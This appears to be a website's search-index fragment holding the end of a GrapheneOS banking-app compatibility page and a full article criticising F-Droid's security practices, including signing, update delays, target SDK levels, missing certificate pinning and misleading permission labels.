Alternatively, curl and pipe the output directly into your preferred text editor for editing, for example:\ncurl https://gist.githubusercontent.com/akc3n/e845078ddbbb28ada0dd055c51ec45af/raw/c2bb563db726b80491a59c68d7f15c0897f563a0/banking-app-report-issue-form.md\\?T | nvim - Update status of app report Please avoid opening a new issue to update the status of a banking app report.\nInstead, use CTRL + F on this page or search on the issue tracker for the app and open its Report. Then, simply add your update as a comment to the existing report.\nFor non-GitHub users, if you have tried all the combinations from these possible workaround solutions and still cannot resolve your specific banking app compatibility issue, feel free to contact me for further assistance.\nNote GrapheneOS has a detailed guide for app developers on how to support GrapheneOS with the hardware attestation API. Direct use of the hardware attestation API provides much higher assurance than using SafetyNet so these apps have nothing to lose by using a more meaningful API and supporting a more secure OS.\nGrapheneOS users are strongly encouraged to share this documentation with app developers who enforce only being able to use the stock OS. Send an email to the developers and leave a review of the app with a link to this information. Share it with other users and create pressure to support GrapheneOS rather than locking users into the stock OS without a valid security reason. GrapheneOS not only upholds the app security model but substantially reinforces it, so it cannot be justified with reasoning based on security, anti-fraud, etc.\nRefer to https://github.com/PrivSec-dev/banking-apps-compat-report/issues/342 or the official GrapheneOS announcement on Mastodon/X/Bluesky for more information.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/android/banking-applications-compatibility-with-grapheneos/","summary":"Maintained Compatibility List for International Banking Apps\nThis list includes banking apps that have been tested, submitted, reviewed, and verified as compatible.\nLIST | SUBMIT | UPDATE | POSSIBLE WORKAROUND SOLUTIONS\nIntroduction Welcome to the crowd-sourced dataset for GrapheneOS users on currently supported devices.\nNew visitors are encouraged to read the official usage guide on banking apps for comprehensive details about how these apps function on GrapheneOS.\nIMPORTANT Please read GrapheneOS\u0026rsquo;s important announcement, officially released on Dec 1, 2023:","title":"Banking Applications Compatibility with GrapheneOS"},{"content":"F-Droid is a popular alternative app repository for Android, especially known for its main repository dedicated to free and open-source software. F-Droid is often recommended among security and privacy enthusiasts, but how does it stack up against Play Store in practice? This write-up will attempt to emphasize major security issues with F-Droid that you should consider.\nBefore we start, a few things to keep in mind:\nThe main goal of this write-up was to inform users so they can make responsible choices, not to trash someone else\u0026rsquo;s work. I have respect for any work done in the name of good intentions. Likewise, please don\u0026rsquo;t misinterpret the intentions of this article. You have your own reasons for using open-source or free/libre/whatever software which won\u0026rsquo;t be discussed here. A development model shouldn\u0026rsquo;t be an excuse for bad practices and shouldn\u0026rsquo;t lure you into believing that it can provide strong guarantees it cannot. A lot of information in this article is sourced from official and trusted sources, but you\u0026rsquo;re welcome to do your own research. These analyses do not account for threat models and personal preferences. As the author of this article, I\u0026rsquo;m only interested in facts and not ideologies. This is not an in-depth security review, nor is it exhaustive.\n1. The trusted party problem To understand why this is a problem, you\u0026rsquo;ll have to understand a bit about F-Droid\u0026rsquo;s architecture, the things it does very differently from other app repositories, and the Android platform security model (some of the issues listed in this article are somewhat out of the scope of the OS security model, but the majority is).\nUnlike other repositories, F-Droid signs all the apps in the main repository with its own signing keys (unique per app) at the exception of the very few reproducible builds. A signature is a mathematical scheme that guarantees the authenticity of the applications you download. Upon the installation of an app, Android pins the signature across the entire OS (including user profiles): that\u0026rsquo;s what we call a trust-on-first-use model since all subsequent updates of the app must have the corresponding signature to be installed.\nNormally, the developer is supposed to sign their own app prior to its upload on a distribution channel, whether that is a website or a traditional repository (or both). You don\u0026rsquo;t have to trust the source (usually recommended by the developer) except for the first installation: future updates will have their authenticity cryptographically guaranteed. The issue with F-Droid is that all apps are signed by the same party (F-Droid) which is also not the developer. You\u0026rsquo;re now adding another party you\u0026rsquo;ll have to trust since you still have to trust the developer anyway, which isn\u0026rsquo;t ideal: the fewer parties, the better.\nOn the other hand, Play Store now manages the app signing keys too, as Play App Signing is required for app bundles which are required for new apps since August 2021. These signing keys can be uploaded or automatically generated, and are securely stored by Google Cloud Key Management Service. It should be noted that the developer still has to sign the app with an upload key so that Google can verify its authenticity before signing it with the app signing key. For apps created before August 2021 that may have not opted in Play App Signing yet, the developer still manages the private key and is responsible for its security, as a compromised private key can allow a third party to sign and distribute malicious code.\nF-Droid requires that the source code of the app is exempt from any proprietary library or ad service, according to their inclusion policy. Usually, that means that some developers will have to maintain a slightly different version of their codebase that should comply with F-Droid\u0026rsquo;s requirements. Besides, their \u0026ldquo;quality control\u0026rdquo; offers close to no guarantees as having access to the source code doesn\u0026rsquo;t mean it can be easily proofread. Saying Play Store is filled with malicious apps is beyond the point: the false sense of security is a real issue. Users should not think of the F-Droid main repository as free of malicious apps, yet unfortunately many are inclined to believe this.\nBut\u0026hellip; can\u0026rsquo;t I just trust F-Droid and be done with it?\nYou don\u0026rsquo;t have to take my word for it: they openly admit themselves it\u0026rsquo;s a very basic process relying on badness enumeration (this doesn\u0026rsquo;t work by the way) which consists in a few scripts scanning the code for proprietary blobs and known trackers. You are therefore not exempted from trusting upstream developers and it goes for any repository.\nA tempting idea would be to compare F-Droid to the desktop Linux model where users trust their distribution maintainers out-of-the-box (this can be sane if you\u0026rsquo;re already trusting the OS anyway), but the desktop platform is intrinsically chaotic and heterogeneous for better and for worse. It really shouldn\u0026rsquo;t be compared to the Android platform in any way.\nWhile we\u0026rsquo;ve seen that F-Droid controls the signing servers (much like Play App Signing), F-Droid also fully controls the build servers that run the disposable VMs used for building apps. And from June to November of 2022, their guest VM image officially ran an end-of-life release of Debian LTS. It is also worth noting that Debian LTS separate project from Debian which attempts to extend the lifetime of releases that are deemed end-of-life by the Debian project and does not get handled by the Debian Security team. The version they were using (Debian Stretch) was actually discontinued 2 years prior. Undoubtedly, this raises questions about their whole infrastructure security.\nHow can you be sure that the app repository can be held to account for the code it delivers?\nF-Droid\u0026rsquo;s answer, interesting yet largely unused, is build reproducibility. While deterministic builds are a neat idea in theory, it requires the developer to make their toolchain match with what F-Droid provides. It\u0026rsquo;s additional work on both ends sometimes resulting in apps severely lagging behind in updates, so reproducible builds are not as common as we would have wanted. It should be noted that reproducible builds in the main repository can be exclusively developer-signed.\nGoogle\u0026rsquo;s approach is code transparency for app bundles, which is a simple idea addressing some of the concerns with Play App Signing. A JSON Web Token (JWT) signed by a key private to the developer is included in the app bundle before its upload to Play Store. This token contains a list of DEX files and native .so libraries and their hashes, allowing end-users to verify that the running code was built and signed by the app developer. Code transparency has known limitations, however: not all resources can be verified, and this verification can only be done manually since it\u0026rsquo;s not part of the Android platform itself (so requiring a code transparency file cannot be enforced by the OS right now). Despite its incompleteness, code transparency is still helpful, easy to implement, and thus something we should see more often as time goes by.\nWhat about other app repositories such as Amazon?\nTo my current knowledge, the Amazon Appstore has always been wrapping APKs with their own code (including their own trackers), and this means they were effectively resigning submitted APKs.\nIf you understood correctly the information above, Google can\u0026rsquo;t do this for apps that haven\u0026rsquo;t opted in Play App Signing. As for apps concerned by Play App Signing, while Google could technically introduce their own code like Amazon, they wouldn\u0026rsquo;t do that without telling about it since this will be easily noticeable by the developer and more globally researchers. They have other means on the Android app development platform to do so. Believing they won\u0026rsquo;t do that based on this principle is not a strong guarantee, however: hence the above paragraph about code transparency for app bundles.\nHuawei AppGallery seems to have a similar approach to Google, where submitted apps could be developer-signed, but newer apps will be resigned by Huawei.\n2. F-Droid\u0026rsquo;s ridiculous inclusion policy and its consequences F-Droid, to carry out its \u0026ldquo;passion for Free and Open Source Software (FOSS) on the Android platform\u0026rdquo;, requires that developers adhere to a strict inclusion policy for their app(s) to be hosted on the main repository. According to this policy, F-Droid requires the source code of an app to exclude any proprietary library or ad service. This stringent mandate has proven to be harmful to developers and even end users.\nAs a result of F-Droid\u0026rsquo;s inclusion policy, usually, some developers usually have to maintain a slightly different version of their codebase for their app to comply with F-Droid’s requirements. For developers, this means not only spending more time and energy, but also, in some cases, working with libraries and components that may be outdated. Sometimes, the restrictions imposed by F-Droid\u0026rsquo;s inclusion policy have a knock-on effect on end users as well, as demonstrated in the following case with Snikket.\nIn December 2022, the Snikket project published a blog post that addressed the users of their app who downloaded it from F-Droid. It sought to allay any panic from users if they receive a warning from F-Droid \u0026ldquo;telling them that the app [Snikket] has a vulnerability and that they \u0026lsquo;recommend uninstalling immediately\u0026rsquo;\u0026rdquo;. In a subsequent blog post, Snikket clarified that this warning from F-Droid \u0026ldquo;wasn’t entirely accurate, as the problem wasn’t with the Snikket app itself but specifically F-Droid’s own build of the app that was using an outdated version of the WebRTC library\u0026rdquo; (emphasis added).\nIndeed, as the first blog post by the Snikket project details, the WebRTC component of Snikket\u0026rsquo;s F-Droid version pulled third-party binaries from Google\u0026rsquo;s Maven repository (which stopped releasing new builds in January 2020), presumably to adhere to the parts of the inclusion policy that forbid the use of \u0026ldquo;Non-Free\u0026rdquo; dependencies and build tools. Note that the developer-signed versions of Snikket published on the Play Store were not affected by this issue, for they were built with a modern WebRTC version. Furthermore, the second blog post by Snikket reveals how the older third-party version of WebRTC used for their F-Droid app actually hindered the addition of new improvements to the app from upstream.\nOverall, this case study highlights how F-Droid\u0026rsquo;s inclusion policy ultimately harms end users by forcing app developers to adopt potentially decrepit development tools and build processes in service of its regnant FOSS ideology.\n3. Slow and irregular updates Since you\u0026rsquo;re adding one more party to the mix, that party is now responsible for delivering proper builds of the app: it\u0026rsquo;s a common thing among traditional Linux distributions and their packaging system. They have to catch up with upstream on a regular basis, but very few do it well (Arch Linux comes to my mind). Others, like Debian, prefer making extensive downstream changes and delivering security fixes for a subset of vulnerabilities assigned to a CVE (yeah, it\u0026rsquo;s as bad as it sounds, but that\u0026rsquo;s another topic).\nNot only does F-Droid require specific changes for the app to comply with its inclusion policy, which often leads to more maintenance work, it also has a rather strange way of triggering new builds. Part of its build process seems to be automated, which is the least you could expect. Now here\u0026rsquo;s the thing: app signing keys are on an air-gapped server (meaning it\u0026rsquo;s disconnected from any network, at least that\u0026rsquo;s what they claim: see their recommendations for reference), which forces an irregular update cycle where a human has to manually trigger the signing process. It is far from an ideal situation, and you may argue it\u0026rsquo;s the least to be expected since by entrusting all the signing keys to one party, you could also introduce a single point of failure. Should their system be compromised (whether from the inside or the outside), this could lead to serious security issues affecting plenty of users.\nThis is one of the main reasons why Signal refused to support the inclusion of a third-party build in the F-Droid official repository. While this GitHub issue is quite old, many points still hold true today.\nConsidering all this, and the fact that their build process is often broken using outdated tools, you have to expect far slower updates compared to a traditional distribution system. Slow updates mean that you will be exposed to security vulnerabilities more often than you should\u0026rsquo;ve been. It would be unwise to have a full browser updated through the F-Droid official repository, for instance. F-Droid third-party repositories somewhat mitigate the issue of slow updates since they can be managed directly by the developer. It isn\u0026rsquo;t ideal either as you will see below.\n4. Low target API level (SDK) for client \u0026amp; apps SDK stands for Software Development Kit and is the collection of software to build apps for a given platform. On Android, a higher SDK level means you\u0026rsquo;ll be able to make use of modern API levels of which each iteration brings security and privacy improvements. For instance, API level 31 makes use of all these improvements on Android 12.\nAs you may already know, Android has a strong sandboxing model where each application is sandboxed. You could say that an app compiled with the highest API level benefits from all the latest improvements brought to the app sandbox; as opposed to outdated apps compiled with older API levels, which have a weaker sandbox.\n# b/35917228 - /proc/misc access # This will go away in a future Android release allow untrusted_app_25 proc_misc:file r_file_perms; # Access to /proc/tty/drivers, to allow apps to determine if they # are running in an emulated environment. # b/33214085 b/33814662 b/33791054 b/33211769 # https://github.com/strazzere/anti-emulator/blob/master/AntiEmulator/src/diff/strazzere/anti/emulator/FindEmulator.java # This will go away in a future Android release allow untrusted_app_25 proc_tty_drivers:file r_file_perms; This is a mere sample of the SELinux exceptions that have to be made on older API levels so that you can understand why it matters.\nIt turns out the official F-Droid client doesn\u0026rsquo;t care much about this since it lags behind quite a bit, targeting the API level 29 (Android 7.1) of which some SELinux exceptions were shown above. As a workaround, some users recommended third-party clients like Droid-ify or Neo Store. While these clients might be technically better, they’re missing features, pooly maintained, and they also introduce yet another party to the mix.\nFurthermore, F-Droid doesn\u0026rsquo;t enforce a minimum target SDK for the official repository. Play Store does that quite aggressively for new apps and app updates:\nSince August 2021, Play Store requires new apps to target at least API level 30. Since November 2021, existing apps must at least target API level 30 for updates to be submitted. While it may seem bothersome, it\u0026rsquo;s a necessity to keep the app ecosystem modern and healthy. Here, F-Droid sends the wrong message to developers (and even users) because they should care about it, and this is why many of us think it may be even harmful to the FOSS ecosystem. Backward compatibility is often the enemy of security, and while there\u0026rsquo;s a middle-ground for convenience and obsolescence, it shouldn\u0026rsquo;t be exaggerated. As a result of this philosophy, the main repository of F-Droid is filled with obsolete apps from another era, just for these apps to be able to run on the more than ten years old Android 4.0 Ice Cream Sandwich. Let\u0026rsquo;s not make the same mistake as the desktop platforms: instead, complain to your vendors for selling devices with no decent OS/firmware support.\nThere is little practical reason for developers not to increase the target SDK version (targetSdkVersion) along with each Android release. This attribute matches the version of the platform an app is targeting, and allows access to modern improvements, rules and features on a modern OS. The app can still ensure backwards compatibility in such a way that it can run on older platforms: the minSdkVersion attribute informs the system about the minimum API level required for the application to run. Setting it too low isn\u0026rsquo;t practical though, because this requires having a lot of fallback code (most of it is handled by common libraries) and separate code paths.\nAt the time of writing:\nAndroid 9 is the oldest Android version that is getting security updates. ~80% of the Android devices used in the world are at least running 8.0 Oreo. Overall statistics do not reflect real-world usage of a given app (people using old devices are not necessarily using your app). If anything, it should be viewed as an underestimation.\n5. General lack of good practices The F-Droid client allows multiple repositories to coexist within the same app. Many of the issues highlighted above were focused on the main official repository which most of the F-Droid users will use anyway. However, having other repositories in a single app also violates the security model of Android which was not designed for this at all. The OS expects you to trust an app repository as a single source of apps, yet F-Droid isn\u0026rsquo;t that by design as it mixes several repositories in one single app. This is important because the OS management APIs and features (such as UserManager which can be used to prevent a user from installing third-party apps) are not meant for this and see F-Droid as a single source, so you\u0026rsquo;re trusting the app client to not mess up far more than you should, especially when the privileged extension comes into the picture.\nThere is indeed a serious security issue with the OS first-party source feature being misused, as the privileged extension makes use of the INSTALL_PACKAGES API in an insecure manner (i.e. not implementing it with the appropriate security checks). The privileged extension accepts any request from F-Droid, which again suffers from various bugs and security issues and allows user-defined repositories by design. A lot can go wrong, and bypassing security checks for powerful APIs should definitely not be taken lightly.\nOn that note, it is also worth noting the repository metadata format isn\u0026rsquo;t properly signed by lacking whole-file signing and key rotation. Their index v1 format uses JAR signing with jarsigner, which has serious security flaws. It seems that work is in progress on a v2 format with support for apksigner, although the final implementation remains to be seen. This just seems to be an over-engineered and flawed approach since better suited tools such as signify could be used to sign the metadata JSON.\nAs a matter of fact, the new unattended update API added in API level 31 (Android 12) that allows seamless app updates for app repositories without privileged access to the system (such an approach is not compatible with the security model) won\u0026rsquo;t work with F-Droid \u0026ldquo;as is\u0026rdquo;. It should be mentioned that the aforementioned third-party client Neo-Store supports this API, although the underlying issues about the F-Droid infrastructure largely remain. Indeed, this secure API allowing for unprivileged unattended updates not only requires for the app repository client to target API level 31, but the apps to be updated also have to at least target API level 29.\nF-Droid\u0026rsquo;s official client also lacks TLS certificate pinning. Certificate pinning is a way for apps to increase the security of their connection to services by providing a set of public key hashes of known-good certificates for these services instead of trusting pre-installed CAs. This can avoid some cases where an interception (man-in-the-middle attack) could be possible and lead to various security issues, considering you\u0026rsquo;re trusting an app to deliver you other apps.\nCertificate pinning is an important security feature that is also straightforward to implement using the declarative network security configuration available since Android 7.0 (API level 24). The GrapheneOS App Store uses this feature; see how GrapheneOS pins both root and CA certificates in their app repository client:\n\u0026lt;!-- res/xml/network_security_config.xml --\u0026gt; \u0026lt;network-security-config\u0026gt; \u0026lt;base-config cleartextTrafficPermitted=\u0026#34;false\u0026#34;/\u0026gt; \u0026lt;domain-config\u0026gt; \u0026lt;domain includeSubdomains=\u0026#34;true\u0026#34;\u0026gt;apps.grapheneos.org\u0026lt;/domain\u0026gt; \u0026lt;pin-set\u0026gt; \u0026lt;!-- ISRG Root X1 --\u0026gt; \u0026lt;pin digest=\u0026#34;SHA-256\u0026#34;\u0026gt;C5+lpZ7tcVwmwQIMcRtPbsQtWLABXhQzejna0wHFr8M=\u0026lt;/pin\u0026gt; \u0026lt;!-- ISRG Root X2 --\u0026gt; \u0026lt;pin digest=\u0026#34;SHA-256\u0026#34;\u0026gt;diGVwiVYbubAI3RW4hB9xU8e/CH2GnkuvVFZE8zmgzI=\u0026lt;/pin\u0026gt; \u0026lt;!-- Let\u0026#39;s Encrypt R3 --\u0026gt; \u0026lt;pin digest=\u0026#34;SHA-256\u0026#34;\u0026gt;jQJTbIh0grw0/1TkHSumWb+Fs0Ggogr621gT3PvPKG0=\u0026lt;/pin\u0026gt; \u0026lt;!-- Let\u0026#39;s Encrypt E1 --\u0026gt; \u0026lt;pin digest=\u0026#34;SHA-256\u0026#34;\u0026gt;J2/oqMTsdhFWW/n85tys6b4yDBtb6idZayIEBx7QTxA=\u0026lt;/pin\u0026gt; ... \u0026lt;/pin-set\u0026gt; \u0026lt;/domain-config\u0026gt; \u0026lt;/network-security-config\u0026gt; The Play Store does not use certificate pinning exactly, but achieves a similar level of security for all connections to Google by using a limited set of root CAs, including their own). This practice, alongside the Play Store\u0026rsquo;s use of package signing and properly signed metadata, guarantees that the apps you download from the Play Store are genuine and delivered securely. F-Droid does not provide the same guarantee.\nTo be fair, they\u0026rsquo;ve thought several times about adding certificate pinning to their client at least for the default repositories. Relics of preliminary work can even be found in their current codebase, but it\u0026rsquo;s unfortunate that they haven\u0026rsquo;t been able to find any working implementation so far. Given the overly complex nature of F-Droid, that\u0026rsquo;s largely understandable.\nF-Droid also has a problem regarding the adoption of new signature schemes as they held out on the v1 signature scheme (which was horrible and deprecated since 2017) until they were forced by Android 11 requirements to support the newer v2/v3 schemes (v2 was introduced in Android 7.0). Quite frankly, this is straight-up bad, and signing APKs with GPG is no better considering how bad PGP and its reference implementation GPG are (even Debian is trying to move away from it). Ideally, F-Droid should fully move on to newer signature schemes, and should completely phase out the legacy signature schemes which are still being used for some apps and metadata.\n6. Confusing UX It is worth mentioning that their website has (for some reason) always been hosting an outdated APK of F-Droid, and this is still the case today, leading to many users wondering why they can\u0026rsquo;t install F-Droid on their secondary user profile (due to the downgrade prevention enforced by Android). \u0026ldquo;Stability\u0026rdquo; seems to be the main reason mentioned on their part, which doesn\u0026rsquo;t make sense: either your version isn\u0026rsquo;t ready to be published in a stable channel, or it is and new users should be able to access it easily.\nF-Droid should enforce the approach of prefixing the package name of their alternate builds with org.f-droid for instance (or add a .fdroid suffix as some already have). Building and signing while reusing the package name (application ID) is bad practice as it causes signature verification errors when some users try to update/install these apps from other sources, even directly from the developer. That is again due to the security model of Android which enforces a signature check when installing app updates (or installing them again in a secondary user profile). Note that this is going to be an issue with Play App Signing as well, and developers are encouraged to follow this approach should they intend to distribute their apps through different distribution channels.\nThis results in a confusing user experience where it\u0026rsquo;s hard to keep track of who signs each app, and from which repository the app should be downloaded or updated.\n7. Misleading permissions approach F-Droid shows a list of the low-level permissions for each app: these low-level permissions are usually grouped in the standard high-level permissions (Location, Microphone, Camera, etc.) and special toggles (nearby Wi-Fi networks, Bluetooth devices, etc.) that are explicitly based on a type of sensitive data. While showing a list of low-level permissions could be useful information for a developer, it\u0026rsquo;s often a misleading and inaccurate approach for the end-user. Since Android 6, apps have to request the standard permissions at runtime and do not get them simply by being installed, so showing all the \u0026ldquo;under the hood\u0026rdquo; permissions without proper context is not useful and makes the permission model unnecessarily confusing.\nF-Droid claims that these low-level permissions are relevant because they support Android 5.1+, meaning they support very outdated versions of Android where apps could have install-time permissions. Anyway, if a technical user wants to see all the manifest permissions for some reason, then they can access the app manifest pretty easily (in fact, exposing the raw manifest would be less misleading). But this is already beyond the scope of this article because anyone who cares about privacy and security wouldn\u0026rsquo;t run a 8 years old version of Android that has not received security updates for years.\nA discussion about this took place on F-Droid\u0026rsquo;s GitLab repository. In short, F-Droid downplayed the issue with their misleading permission labels, and their lead developer proceeded to call the Android permission model a \u0026ldquo;dumpster fire\u0026rdquo; and claim that the operating system cannot sandbox untrusted apps while still remaining useful.\nTo clear up confusion: even apps targeting an API level below 23 (Android 5.1 or older) do not have permissions granted at install time on modern Android, which instead displays a legacy permission grant dialog. Whether or not permissions are granted at install time does not just depend on the app\u0026rsquo;s targetSdkVersion. And even if this were the case, the OS package installer on modern Android would\u0026rsquo;ve been designed to show the requested permissions for those legacy apps.\nFor example, the low-level permission RECEIVE_BOOT_COMPLETED is referred to in F-Droid as the run at startup description, when in fact this permission is not needed to start at boot and just refers to a specific time broadcasted by the system once it finishes booting, and is not about background usage (though power usage may be a valid concern). To be fair, these short summaries used to be provided by the Android documentation years ago, but the permission model has drastically evolved since then and most of them aren\u0026rsquo;t accurate anymore.\nAllows the app to have itself started as soon as the system has finished booting. This can make it take longer to start the phone and allow the app to slow down the overall phone by always running.\nIn modern Android, the background restriction toggle is what really provides the ability for apps to run in the background. Some low-level permissions don\u0026rsquo;t even have a security/privacy impact and shouldn\u0026rsquo;t be misinterpreted as having one. Anyhow, you can be sure that each dangerous low-level permission has a high-level representation that is disabled by default and needs to be granted dynamically to the app (by a toggle or explicit user consent in general).\nAnother example to illustrate the shortcomings of this approach would be the QUERY_ALL_PACKAGES low-level permission, which is referred to as the query all packages permission that \u0026ldquo;allows an app to see all installed packages\u0026rdquo;. While this is somewhat correct, this can also be misleading: apps do not need QUERY_ALL_PACKAGES to list other apps within the same user profile. Even without this permission, some apps are visible automatically (visibility is restricted by default since Android 11). If an app needs more visibility, it will declare a \u0026lt;queries\u0026gt; element in its manifest file: in other words, QUERY_ALL_PACKAGES is only one way to achieve visibility. Again, this goes to show low-level manifest permissions are not intended to be interpreted as high-level permissions the user should fully comprehend.\nPlay Store for instance conveys the permissions in a way less misleading way: the main low-level permissions are first grouped in their high-level user-facing toggles, and the rest is shown under \u0026ldquo;Other\u0026rdquo;. This permission list can only be accessed by taping \u0026ldquo;About this app\u0026rdquo; then \u0026ldquo;App permissions - See more\u0026rdquo; at the bottom of the page. Play Store will tell the app may request access to the following permissions: this kind of wording is more important than it seems. Update: since July 2022, Play Store doesn\u0026rsquo;t offer a way to display low-level permissions anymore.\nMoreover, Play Store restricts the use of highly invasive permissions such as MANAGE_EXTERNAL_STORAGE which allows apps to opt out of scoped storage if they can\u0026rsquo;t work with more privacy friendly approaches (like a file explorer). Apps that can\u0026rsquo;t justify their use of this permission (which again has to be granted dynamically) may be removed from Play Store. This is where an app repository can actually be useful in their review process to protect end-users from installing poorly made apps that might compromise their privacy. Not that it matters much if these apps target very old API levels that are inclined to require invasive permissions in the first place\u0026hellip;\nConclusion: what should you do? So far, you have been presented with referenced facts that are easily verifiable. In the next part, I\u0026rsquo;ll allow myself to express my own thoughts and opinions. You\u0026rsquo;re free to disagree with them, but don\u0026rsquo;t let that overshadow the rest.\nWhile some improvements could easily be made, I don\u0026rsquo;t think F-Droid is in an ideal situation to solve all of these issues because some of them are inherent flaws in their architecture. I\u0026rsquo;d also argue that their core philosophy is not aligned with some security principles expressed in this article. In any case, I can only wish for them to improve since they\u0026rsquo;re one of the most popular alternatives to commercial app repositories, and are therefore trusted by a large userbase.\nF-Droid is often seen as the only way to get and support open-source apps: that is not the case. Sure, F-Droid could help you in finding FOSS apps that you wouldn\u0026rsquo;t otherwise have known existed. Many developers also publish their FOSS apps on the Play Store or their website directly. Most of the time, releases are available on GitHub, which is great since each GitHub releases page has an Atom feed. If downloading APKs from regular websites, you can use apksigner to validate the authenticity by comparing the certificate fingerprint against the fingerprint from another source (it wouldn\u0026rsquo;t matter otherwise).\nThis is how you may proceed to get the app certificate:\napksigner verify --print-certs --verbose myCoolApp.apk Also, as written above: the OS pins the app signature (for all profiles) upon installation, and enforces signature check for app updates. In practice, this means the source doesn\u0026rsquo;t matter as much after the initial installation.\nFor most people, I\u0026rsquo;d recommend just sticking with Play Store. Play Store isn\u0026rsquo;t quite flawless, but emphasises the adoption of modern security standards which in turn encourages better privacy practices; as strange as it may sound, Google is not always doing bad things in that regard.\nNote: this article obviously can\u0026rsquo;t address all the flaws related to Play Store itself. Again, the main topic of this article is about F-Droid and should not be seen as an exhaustive comparison between different app repositories.\nShould I really care?\nIt\u0026rsquo;s up to your threat model, and of course your personal preferences. Most likely, your phone won\u0026rsquo;t turn into a nuclear weapon if you install F-Droid on it - and this is far from the point that this article is trying to make. Still, I believe the information presented will be valuable for anyone who values a practical approach to privacy (rather than an ideological one). Such an approach is partially described below.\nBut there is more malware in Play Store! How can you say that it\u0026rsquo;s more secure?\nAs explained above, it doesn\u0026rsquo;t matter as you shouldn\u0026rsquo;t really rely on any quality control to be the sole guarantee that a software is free of malicious or exploitable code. Play Store and even the Apple App Store may have a considerable amount of malware because a full reverse-engineering of any uploaded app isn\u0026rsquo;t feasible realistically. However, they fulfill their role quite well, and that is all that is expected of them.\nWith Play App Signing being effectively enforced for new apps, isn\u0026rsquo;t Play Store as \u0026ldquo;flawed\u0026rdquo; as F-Droid?\nI\u0026rsquo;ve seen this comment repeatedly, and it would be dismissing all the other points made in this article. Also, I strongly suggest that you carefully read the sections related to Play App Signing, and preferably the official documentation on this matter. It\u0026rsquo;s not a black and white question and there are many more nuances to it.\nAren\u0026rsquo;t open-source apps more secure? Doesn\u0026rsquo;t it make F-Droid safer?\nYou can still find and get your open-source apps elsewhere. And no, open-source apps aren\u0026rsquo;t necessarily more private or secure. Instead, you should rely on the strong security and privacy guarantees provided by a modern operating system with a robust sandboxing/permission model, namely modern Android, GrapheneOS and iOS. Pay close attention to the permissions you grant, and avoid legacy apps as they could require invasive permissions to run.\nWhen it comes to trackers (this really comes up a lot), you shouldn\u0026rsquo;t believe in the flawed idea that you can enumerate all of them. The enumerating badness approach is known to be flawed in the security field, and the same applies to privacy. You shouldn\u0026rsquo;t believe that a random script can detect every single line of code that can be used for data exfiltration. Data exfiltration can be properly prevented in the first place by the permission model, which again denies access to sensitive data by default: this is a simple, yet rigorous and effective approach.\nNo app should be unnecessarily entrusted with any kind of permission. It is only if you deem it necessary that you should allow access to a type of data, and this access should be as fine-grained as possible. That\u0026rsquo;s the way the Android platform works (regular apps run in the explicit untrusted_app domain) and continues evolving. Contrary to some popular beliefs, usability and most productivity tasks can still be achieved in a secure and private way.\nIsn\u0026rsquo;t Google evil? Isn\u0026rsquo;t Play Store spyware?\nSome people tend to exaggerate the importance of Google in their threat model, at the cost of pragmatism and security/privacy good practices. Play Store isn\u0026rsquo;t spyware and can run unprivileged like it does on GrapheneOS (including with unattended updates support). On the vast majority of devices though, Google Play is a privileged app and a core part of the OS that provides low-level system modules. In that case, the trust issues involved with Play App Signing could be considered less important since Google Play is already trusted as a privileged component.\nPlay Store evidently has some privacy issues given it\u0026rsquo;s a proprietary service which requires an account (this cannot be circumvented), and Google services have a history of nagging users to enable privacy-invasive features. Again, some of these privacy issues can be mitigated by setting up the Play services compatibility layer from GrapheneOS which runs Play services and Play Store in the regular app sandbox (the untrusted_app domain). This solution could very well be ported to other Android-based operating systems. If you want to go further, consider using a properly configured account with the least amount of personally indentifiable information possible (note that the phone number requirement appears to be region-dependent).\nIf you don\u0026rsquo;t have Play services installed, you can use a third-party Play Store client called Aurora Store. Aurora Store has some issues of its own, and some of them overlap in fact with F-Droid. Aurora Store somehow still requires the legacy storage permission, has been known to sometimes retrieve wrong versions of apps, and distributed account tokens over cleartext HTTP until fairly recently; not that it matters much since tokens were designed to be shared between users, which is already concerning. I\u0026rsquo;d recommend against using the shared \u0026ldquo;anonymous\u0026rdquo; accounts feature: you should make your own throwaway account with minimal information.\nLooking to the future Accrescent is an up-and-coming app repository which strives to tackle the issues discussed here and more. Hopefully Accrescent or a project like it can flourish as a secure and open ecosystem for app delivery.\nIt\u0026rsquo;s also worth keeping an eye on the great work GrapheneOS does on their future app repository. It will serve as a simple, secure, modern app repository, albeit only for a curated list of high-quality apps, some of which will have their own builds.\nMeta This article aims to be purely technical. It is not an attack on F-Droid or their mission \u0026mdash; it is meant as an informative piece for end users and a springboard for improvement of the F-Droid project.\nIn spite of this, the release of this article has unfortunately triggered a mostly negative response from the F-Droid team and some of their community, who seem to take a dismissive stance toward this article rather than bringing relevant counterpoints. Some of these individuals go as far as engaging in harassment campaigns against projects and security researchers that do not share their views; hopefully they realize that such unethical behavior undermines their own project and reputation. Creating a rift between developers and security researchers is not in anyone\u0026rsquo;s best interest.\nSome individuals have also falsely associated this article with GrapheneOS. This article is an entirely independent work and unrelated to the GrapheneOS project. It was not written by a GrapheneOS developer and does not claim to represent the GrapheneOS project\u0026rsquo;s official stance. Either way, dismissing the article on the basis of association instead of addressing the actual technical content is silly and not helpful to anyone.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/android/f-droid-security-issues/","summary":"F-Droid is a popular alternative app repository for Android, especially known for its main repository dedicated to free and open-source software. F-Droid is often recommended among security and privacy enthusiasts, but how does it stack up against Play Store in practice? This write-up will attempt to emphasize major security issues with F-Droid that you should consider.\nBefore we start, a few things to keep in mind:\nThe main goal of this write-up was to inform users so they can make responsible choices, not to trash someone else\u0026rsquo;s work.","title":"F-Droid Security Issues"}]